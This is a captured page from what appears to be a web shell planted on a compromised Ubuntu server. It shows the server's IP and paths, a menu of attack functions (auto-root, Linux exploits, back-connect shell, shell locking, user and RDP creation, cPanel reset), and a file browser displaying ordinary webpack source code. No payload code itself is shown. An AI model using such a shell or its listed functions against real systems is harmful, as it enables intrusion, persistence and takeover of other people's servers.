Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
webpack /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
debug
[ DIR ]
drwxr-xr-x
dependencies
[ DIR ]
drwxr-xr-x
node
[ DIR ]
drwxr-xr-x
optimize
[ DIR ]
drwxr-xr-x
performance
[ DIR ]
drwxr-xr-x
util
[ DIR ]
drwxr-xr-x
wasm
[ DIR ]
drwxr-xr-x
web
[ DIR ]
drwxr-xr-x
webworker
[ DIR ]
drwxr-xr-x
APIPlugin.js
2.2
KB
-rw-r--r--
AmdMainTemplatePlugin.js
2.52
KB
-rw-r--r--
AsyncDependenciesBlock.js
2.42
KB
-rw-r--r--
AsyncDependencyToInitialChunkE...
871
B
-rw-r--r--
AutomaticPrefetchPlugin.js
1.38
KB
-rw-r--r--
BannerPlugin.js
2.91
KB
-rw-r--r--
BasicEvaluatedExpression.js
4.55
KB
-rw-r--r--
CachePlugin.js
2.84
KB
-rw-r--r--
CaseSensitiveModulesWarning.js
1.87
KB
-rw-r--r--
Chunk.js
22.15
KB
-rw-r--r--
ChunkGroup.js
12.13
KB
-rw-r--r--
ChunkRenderError.js
708
B
-rw-r--r--
ChunkTemplate.js
2.46
KB
-rw-r--r--
CommentCompilationWarning.js
748
B
-rw-r--r--
CompatibilityPlugin.js
1.98
KB
-rw-r--r--
Compilation.js
72.71
KB
-rw-r--r--
Compiler.js
19.52
KB
-rw-r--r--
ConcurrentCompilationError.js
492
B
-rw-r--r--
ConstPlugin.js
9.6
KB
-rw-r--r--
ContextExclusionPlugin.js
721
B
-rw-r--r--
ContextModule.js
24.03
KB
-rw-r--r--
ContextModuleFactory.js
6.45
KB
-rw-r--r--
ContextReplacementPlugin.js
4.03
KB
-rw-r--r--
DefinePlugin.js
7.9
KB
-rw-r--r--
DelegatedModule.js
2.77
KB
-rw-r--r--
DelegatedModuleFactoryPlugin.j...
2.32
KB
-rw-r--r--
DelegatedPlugin.js
1.02
KB
-rw-r--r--
DependenciesBlock.js
3.27
KB
-rw-r--r--
DependenciesBlockVariable.js
2.14
KB
-rw-r--r--
Dependency.js
1.97
KB
-rw-r--r--
DllEntryPlugin.js
1.24
KB
-rw-r--r--
DllModule.js
1.09
KB
-rw-r--r--
DllModuleFactory.js
536
B
-rw-r--r--
DllPlugin.js
1.4
KB
-rw-r--r--
DllReferencePlugin.js
4.88
KB
-rw-r--r--
DynamicEntryPlugin.js
2.76
KB
-rw-r--r--
EntryModuleNotFoundError.js
475
B
-rw-r--r--
EntryOptionPlugin.js
1.46
KB
-rw-r--r--
Entrypoint.js
1.75
KB
-rw-r--r--
EnvironmentPlugin.js
2.01
KB
-rw-r--r--
ErrorHelpers.js
1.41
KB
-rw-r--r--
EvalDevToolModulePlugin.js
792
B
-rw-r--r--
EvalDevToolModuleTemplatePlugi...
1.64
KB
-rw-r--r--
EvalSourceMapDevToolModuleTemp...
3.13
KB
-rw-r--r--
EvalSourceMapDevToolPlugin.js
1.04
KB
-rw-r--r--
ExportPropertyMainTemplatePlug...
1.31
KB
-rw-r--r--
ExtendedAPIPlugin.js
2.43
KB
-rw-r--r--
ExternalModule.js
4.29
KB
-rw-r--r--
ExternalModuleFactoryPlugin.js
2.92
KB
-rw-r--r--
ExternalsPlugin.js
546
B
-rw-r--r--
FlagDependencyExportsPlugin.js
4.33
KB
-rw-r--r--
FlagDependencyUsagePlugin.js
3.33
KB
-rw-r--r--
FlagInitialModulesAsUsedPlugin...
799
B
-rw-r--r--
FunctionModulePlugin.js
463
B
-rw-r--r--
FunctionModuleTemplatePlugin.j...
3.27
KB
-rw-r--r--
Generator.js
1.71
KB
-rw-r--r--
GraphHelpers.js
1.93
KB
-rw-r--r--
HarmonyLinkingError.js
408
B
-rw-r--r--
HashedModuleIdsPlugin.js
1.64
KB
-rw-r--r--
HotModuleReplacement.runtime.j...
16.69
KB
-rw-r--r--
HotModuleReplacementPlugin.js
12.15
KB
-rw-r--r--
HotUpdateChunk.js
324
B
-rw-r--r--
HotUpdateChunkTemplate.js
1.59
KB
-rw-r--r--
IgnorePlugin.js
2.37
KB
-rw-r--r--
JavascriptGenerator.js
5.73
KB
-rw-r--r--
JavascriptModulesPlugin.js
5.25
KB
-rw-r--r--
JsonGenerator.js
1.41
KB
-rw-r--r--
JsonModulesPlugin.js
698
B
-rw-r--r--
JsonParser.js
758
B
-rw-r--r--
LibManifestPlugin.js
2.22
KB
-rw-r--r--
LibraryTemplatePlugin.js
5.62
KB
-rw-r--r--
LoaderOptionsPlugin.js
1.46
KB
-rw-r--r--
LoaderTargetPlugin.js
480
B
-rw-r--r--
MainTemplate.js
16.2
KB
-rw-r--r--
MemoryOutputFileSystem.js
139
B
-rw-r--r--
Module.js
10.13
KB
-rw-r--r--
ModuleBuildError.js
1.2
KB
-rw-r--r--
ModuleDependencyError.js
812
B
-rw-r--r--
ModuleDependencyWarning.js
554
B
-rw-r--r--
ModuleError.js
843
B
-rw-r--r--
ModuleFilenameHelpers.js
5.36
KB
-rw-r--r--
ModuleNotFoundError.js
516
B
-rw-r--r--
ModuleParseError.js
1.54
KB
-rw-r--r--
ModuleReason.js
1.16
KB
-rw-r--r--
ModuleTemplate.js
1.97
KB
-rw-r--r--
ModuleWarning.js
901
B
-rw-r--r--
MultiCompiler.js
7.05
KB
-rw-r--r--
MultiEntryPlugin.js
2.01
KB
-rw-r--r--
MultiModule.js
1.88
KB
-rw-r--r--
MultiModuleFactory.js
489
B
-rw-r--r--
MultiStats.js
2.17
KB
-rw-r--r--
MultiWatching.js
714
B
-rw-r--r--
NamedChunksPlugin.js
659
B
-rw-r--r--
NamedModulesPlugin.js
1.43
KB
-rw-r--r--
NoEmitOnErrorsPlugin.js
559
B
-rw-r--r--
NoModeWarning.js
715
B
-rw-r--r--
NodeStuffPlugin.js
5.62
KB
-rw-r--r--
NormalModule.js
14.09
KB
-rw-r--r--
NormalModuleFactory.js
13.38
KB
-rw-r--r--
NormalModuleReplacementPlugin....
1.25
KB
-rw-r--r--
NullFactory.js
217
B
-rw-r--r--
OptionsApply.js
200
B
-rw-r--r--
OptionsDefaulter.js
1.92
KB
-rw-r--r--
Parser.js
65.25
KB
-rw-r--r--
ParserHelpers.js
2.78
KB
-rw-r--r--
PrefetchPlugin.js
837
B
-rw-r--r--
ProgressPlugin.js
9.69
KB
-rw-r--r--
ProvidePlugin.js
2.34
KB
-rw-r--r--
RawModule.js
1.16
KB
-rw-r--r--
RecordIdsPlugin.js
6.36
KB
-rw-r--r--
RemovedPluginError.js
229
B
-rw-r--r--
RequestShortener.js
2.55
KB
-rw-r--r--
RequireJsStuffPlugin.js
1.76
KB
-rw-r--r--
ResolverFactory.js
2.28
KB
-rw-r--r--
RuleSet.js
11.83
KB
-rw-r--r--
RuntimeTemplate.js
9.25
KB
-rw-r--r--
SetVarMainTemplatePlugin.js
1.69
KB
-rw-r--r--
SingleEntryPlugin.js
1.45
KB
-rw-r--r--
SizeFormatHelpers.js
538
B
-rw-r--r--
SourceMapDevToolModuleOptionsP...
1.17
KB
-rw-r--r--
SourceMapDevToolPlugin.js
9.16
KB
-rw-r--r--
Stats.js
38.31
KB
-rw-r--r--
SystemMainTemplatePlugin.js
3.23
KB
-rw-r--r--
Template.js
7.97
KB
-rw-r--r--
TemplatedPathPlugin.js
5.24
KB
-rw-r--r--
UmdMainTemplatePlugin.js
8.57
KB
-rw-r--r--
UnsupportedFeatureWarning.js
809
B
-rw-r--r--
UseStrictPlugin.js
1.57
KB
-rw-r--r--
WarnCaseSensitiveModulesPlugin...
1016
B
-rw-r--r--
WarnNoModeSetPlugin.js
391
B
-rw-r--r--
WatchIgnorePlugin.js
2.31
KB
-rw-r--r--
Watching.js
4.57
KB
-rw-r--r--
WebpackError.js
660
B
-rw-r--r--
WebpackOptionsApply.js
18.33
KB
-rw-r--r--
WebpackOptionsDefaulter.js
11.4
KB
-rw-r--r--
WebpackOptionsValidationError....
9.65
KB
-rw-r--r--
compareLocations.js
1.29
KB
-rw-r--r--
formatLocation.js
2.01
KB
-rw-r--r--
validateSchema.js
1.55
KB
-rw-r--r--
webpack.js
7.71
KB
-rw-r--r--
webpack.web.js
942
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : WebpackOptionsApply.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const OptionsApply = require("./OptionsApply"); const JavascriptModulesPlugin = require("./JavascriptModulesPlugin"); const JsonModulesPlugin = require("./JsonModulesPlugin"); const WebAssemblyModulesPlugin = require("./wasm/WebAssemblyModulesPlugin"); const LoaderTargetPlugin = require("./LoaderTargetPlugin"); const FunctionModulePlugin = require("./FunctionModulePlugin"); const EvalDevToolModulePlugin = require("./EvalDevToolModulePlugin"); const SourceMapDevToolPlugin = require("./SourceMapDevToolPlugin"); const EvalSourceMapDevToolPlugin = require("./EvalSourceMapDevToolPlugin"); const EntryOptionPlugin = require("./EntryOptionPlugin"); const RecordIdsPlugin = require("./RecordIdsPlugin"); const APIPlugin = require("./APIPlugin"); const ConstPlugin = require("./ConstPlugin"); const NodeStuffPlugin = require("./NodeStuffPlugin"); const CompatibilityPlugin = require("./CompatibilityPlugin"); const TemplatedPathPlugin = require("./TemplatedPathPlugin"); const WarnCaseSensitiveModulesPlugin = require("./WarnCaseSensitiveModulesPlugin"); const UseStrictPlugin = require("./UseStrictPlugin"); const LoaderPlugin = require("./dependencies/LoaderPlugin"); const CommonJsPlugin = require("./dependencies/CommonJsPlugin"); const HarmonyModulesPlugin = require("./dependencies/HarmonyModulesPlugin"); const SystemPlugin = require("./dependencies/SystemPlugin"); const ImportPlugin = require("./dependencies/ImportPlugin"); const RequireContextPlugin = require("./dependencies/RequireContextPlugin"); const RequireEnsurePlugin = require("./dependencies/RequireEnsurePlugin"); const RequireIncludePlugin = require("./dependencies/RequireIncludePlugin"); /** @typedef {import("../declarations/WebpackOptions").WebpackOptions} WebpackOptions */ /** @typedef {import("./Compiler")} Compiler */ class WebpackOptionsApply extends OptionsApply { constructor() { super(); } /** * @param {WebpackOptions} options options object * @param {Compiler} compiler compiler object * @returns {WebpackOptions} options object */ process(options, compiler) { let ExternalsPlugin; compiler.outputPath = options.output.path; compiler.recordsInputPath = options.recordsInputPath || options.recordsPath; compiler.recordsOutputPath = options.recordsOutputPath || options.recordsPath; compiler.name = options.name; // TODO webpack 5 refactor this to MultiCompiler.setDependencies() with a WeakMap // @ts-ignore TODO compiler.dependencies = options.dependencies; if (typeof options.target === "string") { let JsonpTemplatePlugin; let FetchCompileWasmTemplatePlugin; let ReadFileCompileWasmTemplatePlugin; let NodeSourcePlugin; let NodeTargetPlugin; let NodeTemplatePlugin; switch (options.target) { case "web": JsonpTemplatePlugin = require("./web/JsonpTemplatePlugin"); FetchCompileWasmTemplatePlugin = require("./web/FetchCompileWasmTemplatePlugin"); NodeSourcePlugin = require("./node/NodeSourcePlugin"); new JsonpTemplatePlugin().apply(compiler); new FetchCompileWasmTemplatePlugin({ mangleImports: options.optimization.mangleWasmImports }).apply(compiler); new FunctionModulePlugin().apply(compiler); new NodeSourcePlugin(options.node).apply(compiler); new LoaderTargetPlugin(options.target).apply(compiler); break; case "webworker": { let WebWorkerTemplatePlugin = require("./webworker/WebWorkerTemplatePlugin"); FetchCompileWasmTemplatePlugin = require("./web/FetchCompileWasmTemplatePlugin"); NodeSourcePlugin = require("./node/NodeSourcePlugin"); new WebWorkerTemplatePlugin().apply(compiler); new FetchCompileWasmTemplatePlugin({ mangleImports: options.optimization.mangleWasmImports }).apply(compiler); new FunctionModulePlugin().apply(compiler); new NodeSourcePlugin(options.node).apply(compiler); new LoaderTargetPlugin(options.target).apply(compiler); break; } case "node": case "async-node": NodeTemplatePlugin = require("./node/NodeTemplatePlugin"); ReadFileCompileWasmTemplatePlugin = require("./node/ReadFileCompileWasmTemplatePlugin"); NodeTargetPlugin = require("./node/NodeTargetPlugin"); new NodeTemplatePlugin({ asyncChunkLoading: options.target === "async-node" }).apply(compiler); new ReadFileCompileWasmTemplatePlugin({ mangleImports: options.optimization.mangleWasmImports }).apply(compiler); new FunctionModulePlugin().apply(compiler); new NodeTargetPlugin().apply(compiler); new LoaderTargetPlugin("node").apply(compiler); break; case "node-webkit": JsonpTemplatePlugin = require("./web/JsonpTemplatePlugin"); NodeTargetPlugin = require("./node/NodeTargetPlugin"); ExternalsPlugin = require("./ExternalsPlugin"); new JsonpTemplatePlugin().apply(compiler); new FunctionModulePlugin().apply(compiler); new NodeTargetPlugin().apply(compiler); new ExternalsPlugin("commonjs", "nw.gui").apply(compiler); new LoaderTargetPlugin(options.target).apply(compiler); break; case "electron-main": NodeTemplatePlugin = require("./node/NodeTemplatePlugin"); NodeTargetPlugin = require("./node/NodeTargetPlugin"); ExternalsPlugin = require("./ExternalsPlugin"); new NodeTemplatePlugin({ asyncChunkLoading: true }).apply(compiler); new FunctionModulePlugin().apply(compiler); new NodeTargetPlugin().apply(compiler); new ExternalsPlugin("commonjs", [ "app", "auto-updater", "browser-window", "clipboard", "content-tracing", "crash-reporter", "dialog", "electron", "global-shortcut", "ipc", "ipc-main", "menu", "menu-item", "native-image", "original-fs", "power-monitor", "power-save-blocker", "protocol", "screen", "session", "shell", "tray", "web-contents" ]).apply(compiler); new LoaderTargetPlugin(options.target).apply(compiler); break; case "electron-renderer": JsonpTemplatePlugin = require("./web/JsonpTemplatePlugin"); FetchCompileWasmTemplatePlugin = require("./web/FetchCompileWasmTemplatePlugin"); NodeTargetPlugin = require("./node/NodeTargetPlugin"); ExternalsPlugin = require("./ExternalsPlugin"); new JsonpTemplatePlugin().apply(compiler); new FetchCompileWasmTemplatePlugin({ mangleImports: options.optimization.mangleWasmImports }).apply(compiler); new FunctionModulePlugin().apply(compiler); new NodeTargetPlugin().apply(compiler); new ExternalsPlugin("commonjs", [ "clipboard", "crash-reporter", "desktop-capturer", "electron", "ipc", "ipc-renderer", "native-image", "original-fs", "remote", "screen", "shell", "web-frame" ]).apply(compiler); new LoaderTargetPlugin(options.target).apply(compiler); break; default: throw new Error("Unsupported target '" + options.target + "'."); } } // @ts-ignore This is always true, which is good this way else if (options.target !== false) { options.target(compiler); } else { throw new Error("Unsupported target '" + options.target + "'."); } if (options.output.library || options.output.libraryTarget !== "var") { const LibraryTemplatePlugin = require("./LibraryTemplatePlugin"); new LibraryTemplatePlugin( options.output.library, options.output.libraryTarget, options.output.umdNamedDefine, options.output.auxiliaryComment || "", options.output.libraryExport ).apply(compiler); } if (options.externals) { ExternalsPlugin = require("./ExternalsPlugin"); new ExternalsPlugin( options.output.libraryTarget, options.externals ).apply(compiler); } let noSources; let legacy; let modern; let comment; if ( options.devtool && (options.devtool.includes("sourcemap") || options.devtool.includes("source-map")) ) { const hidden = options.devtool.includes("hidden"); const inline = options.devtool.includes("inline"); const evalWrapped = options.devtool.includes("eval"); const cheap = options.devtool.includes("cheap"); const moduleMaps = options.devtool.includes("module"); noSources = options.devtool.includes("nosources"); legacy = options.devtool.includes("@"); modern = options.devtool.includes("#"); comment = legacy && modern ? "\n/*\n//@ source" + "MappingURL=[url]\n//# source" + "MappingURL=[url]\n*/" : legacy ? "\n/*\n//@ source" + "MappingURL=[url]\n*/" : modern ? "\n//# source" + "MappingURL=[url]" : null; const Plugin = evalWrapped ? EvalSourceMapDevToolPlugin : SourceMapDevToolPlugin; new Plugin({ filename: inline ? null : options.output.sourceMapFilename, moduleFilenameTemplate: options.output.devtoolModuleFilenameTemplate, fallbackModuleFilenameTemplate: options.output.devtoolFallbackModuleFilenameTemplate, append: hidden ? false : comment, module: moduleMaps ? true : cheap ? false : true, columns: cheap ? false : true, lineToLine: options.output.devtoolLineToLine, noSources: noSources, namespace: options.output.devtoolNamespace }).apply(compiler); } else if (options.devtool && options.devtool.includes("eval")) { legacy = options.devtool.includes("@"); modern = options.devtool.includes("#"); comment = legacy && modern ? "\n//@ sourceURL=[url]\n//# sourceURL=[url]" : legacy ? "\n//@ sourceURL=[url]" : modern ? "\n//# sourceURL=[url]" : null; new EvalDevToolModulePlugin({ sourceUrlComment: comment, moduleFilenameTemplate: options.output.devtoolModuleFilenameTemplate, namespace: options.output.devtoolNamespace }).apply(compiler); } new JavascriptModulesPlugin().apply(compiler); new JsonModulesPlugin().apply(compiler); new WebAssemblyModulesPlugin({ mangleImports: options.optimization.mangleWasmImports }).apply(compiler); new EntryOptionPlugin().apply(compiler); compiler.hooks.entryOption.call(options.context, options.entry); new CompatibilityPlugin().apply(compiler); new HarmonyModulesPlugin(options.module).apply(compiler); if (options.amd !== false) { const AMDPlugin = require("./dependencies/AMDPlugin"); const RequireJsStuffPlugin = require("./RequireJsStuffPlugin"); new AMDPlugin(options.module, options.amd || {}).apply(compiler); new RequireJsStuffPlugin().apply(compiler); } new CommonJsPlugin(options.module).apply(compiler); new LoaderPlugin().apply(compiler); new NodeStuffPlugin(options.node).apply(compiler); new APIPlugin().apply(compiler); new ConstPlugin().apply(compiler); new UseStrictPlugin().apply(compiler); new RequireIncludePlugin().apply(compiler); new RequireEnsurePlugin().apply(compiler); new RequireContextPlugin( options.resolve.modules, options.resolve.extensions, options.resolve.mainFiles ).apply(compiler); new ImportPlugin(options.module).apply(compiler); new SystemPlugin(options.module).apply(compiler); if (typeof options.mode !== "string") { const WarnNoModeSetPlugin = require("./WarnNoModeSetPlugin"); new WarnNoModeSetPlugin().apply(compiler); } const EnsureChunkConditionsPlugin = require("./optimize/EnsureChunkConditionsPlugin"); new EnsureChunkConditionsPlugin().apply(compiler); if (options.optimization.removeAvailableModules) { const RemoveParentModulesPlugin = require("./optimize/RemoveParentModulesPlugin"); new RemoveParentModulesPlugin().apply(compiler); } if (options.optimization.removeEmptyChunks) { const RemoveEmptyChunksPlugin = require("./optimize/RemoveEmptyChunksPlugin"); new RemoveEmptyChunksPlugin().apply(compiler); } if (options.optimization.mergeDuplicateChunks) { const MergeDuplicateChunksPlugin = require("./optimize/MergeDuplicateChunksPlugin"); new MergeDuplicateChunksPlugin().apply(compiler); } if (options.optimization.flagIncludedChunks) { const FlagIncludedChunksPlugin = require("./optimize/FlagIncludedChunksPlugin"); new FlagIncludedChunksPlugin().apply(compiler); } if (options.optimization.sideEffects) { const SideEffectsFlagPlugin = require("./optimize/SideEffectsFlagPlugin"); new SideEffectsFlagPlugin().apply(compiler); } if (options.optimization.providedExports) { const FlagDependencyExportsPlugin = require("./FlagDependencyExportsPlugin"); new FlagDependencyExportsPlugin().apply(compiler); } if (options.optimization.usedExports) { const FlagDependencyUsagePlugin = require("./FlagDependencyUsagePlugin"); new FlagDependencyUsagePlugin().apply(compiler); } if (options.optimization.concatenateModules) { const ModuleConcatenationPlugin = require("./optimize/ModuleConcatenationPlugin"); new ModuleConcatenationPlugin().apply(compiler); } if (options.optimization.splitChunks) { const SplitChunksPlugin = require("./optimize/SplitChunksPlugin"); new SplitChunksPlugin(options.optimization.splitChunks).apply(compiler); } if (options.optimization.runtimeChunk) { const RuntimeChunkPlugin = require("./optimize/RuntimeChunkPlugin"); new RuntimeChunkPlugin(options.optimization.runtimeChunk).apply(compiler); } if (options.optimization.noEmitOnErrors) { const NoEmitOnErrorsPlugin = require("./NoEmitOnErrorsPlugin"); new NoEmitOnErrorsPlugin().apply(compiler); } if (options.optimization.checkWasmTypes) { const WasmFinalizeExportsPlugin = require("./wasm/WasmFinalizeExportsPlugin"); new WasmFinalizeExportsPlugin().apply(compiler); } let moduleIds = options.optimization.moduleIds; if (moduleIds === undefined) { // TODO webpack 5 remove all these options if (options.optimization.occurrenceOrder) { moduleIds = "size"; } if (options.optimization.namedModules) { moduleIds = "named"; } if (options.optimization.hashedModuleIds) { moduleIds = "hashed"; } if (moduleIds === undefined) { moduleIds = "natural"; } } if (moduleIds) { const NamedModulesPlugin = require("./NamedModulesPlugin"); const HashedModuleIdsPlugin = require("./HashedModuleIdsPlugin"); const OccurrenceModuleOrderPlugin = require("./optimize/OccurrenceModuleOrderPlugin"); switch (moduleIds) { case "natural": // TODO webpack 5: see hint in Compilation.sortModules break; case "named": new NamedModulesPlugin().apply(compiler); break; case "hashed": new HashedModuleIdsPlugin().apply(compiler); break; case "size": new OccurrenceModuleOrderPlugin({ prioritiseInitial: true }).apply(compiler); break; case "total-size": new OccurrenceModuleOrderPlugin({ prioritiseInitial: false }).apply(compiler); break; default: throw new Error( `webpack bug: moduleIds: ${moduleIds} is not implemented` ); } } let chunkIds = options.optimization.chunkIds; if (chunkIds === undefined) { // TODO webpack 5 remove all these options if (options.optimization.occurrenceOrder) { // This looks weird but it's for backward-compat // This bug already existed before adding this feature chunkIds = "total-size"; } if (options.optimization.namedChunks) { chunkIds = "named"; } if (chunkIds === undefined) { chunkIds = "natural"; } } if (chunkIds) { const NaturalChunkOrderPlugin = require("./optimize/NaturalChunkOrderPlugin"); const NamedChunksPlugin = require("./NamedChunksPlugin"); const OccurrenceChunkOrderPlugin = require("./optimize/OccurrenceChunkOrderPlugin"); switch (chunkIds) { case "natural": new NaturalChunkOrderPlugin().apply(compiler); break; case "named": // TODO webapck 5: for backward-compat this need to have OccurrenceChunkOrderPlugin too // The NamedChunksPlugin doesn't give every chunk a name // This should be fixed, and the OccurrenceChunkOrderPlugin should be removed here. new OccurrenceChunkOrderPlugin({ prioritiseInitial: false }).apply(compiler); new NamedChunksPlugin().apply(compiler); break; case "size": new OccurrenceChunkOrderPlugin({ prioritiseInitial: true }).apply(compiler); break; case "total-size": new OccurrenceChunkOrderPlugin({ prioritiseInitial: false }).apply(compiler); break; default: throw new Error( `webpack bug: chunkIds: ${chunkIds} is not implemented` ); } } if (options.optimization.nodeEnv) { const DefinePlugin = require("./DefinePlugin"); new DefinePlugin({ "process.env.NODE_ENV": JSON.stringify(options.optimization.nodeEnv) }).apply(compiler); } if (options.optimization.minimize) { for (const minimizer of options.optimization.minimizer) { if (typeof minimizer === "function") { minimizer.call(compiler, compiler); } else { minimizer.apply(compiler); } } } if (options.performance) { const SizeLimitsPlugin = require("./performance/SizeLimitsPlugin"); new SizeLimitsPlugin(options.performance).apply(compiler); } new TemplatedPathPlugin().apply(compiler); new RecordIdsPlugin({ portableIds: options.optimization.portableRecords }).apply(compiler); new WarnCaseSensitiveModulesPlugin().apply(compiler); if (options.cache) { const CachePlugin = require("./CachePlugin"); new CachePlugin( typeof options.cache === "object" ? options.cache : null ).apply(compiler); } compiler.hooks.afterPlugins.call(compiler); if (!compiler.inputFileSystem) { throw new Error("No input filesystem provided"); } compiler.resolverFactory.hooks.resolveOptions .for("normal") .tap("WebpackOptionsApply", resolveOptions => { return Object.assign( { fileSystem: compiler.inputFileSystem }, options.resolve, resolveOptions ); }); compiler.resolverFactory.hooks.resolveOptions .for("context") .tap("WebpackOptionsApply", resolveOptions => { return Object.assign( { fileSystem: compiler.inputFileSystem, resolveToContext: true }, options.resolve, resolveOptions ); }); compiler.resolverFactory.hooks.resolveOptions .for("loader") .tap("WebpackOptionsApply", resolveOptions => { return Object.assign( { fileSystem: compiler.inputFileSystem }, options.resolveLoader, resolveOptions ); }); compiler.hooks.afterResolvers.call(compiler); return options; } } module.exports = WebpackOptionsApply;
Close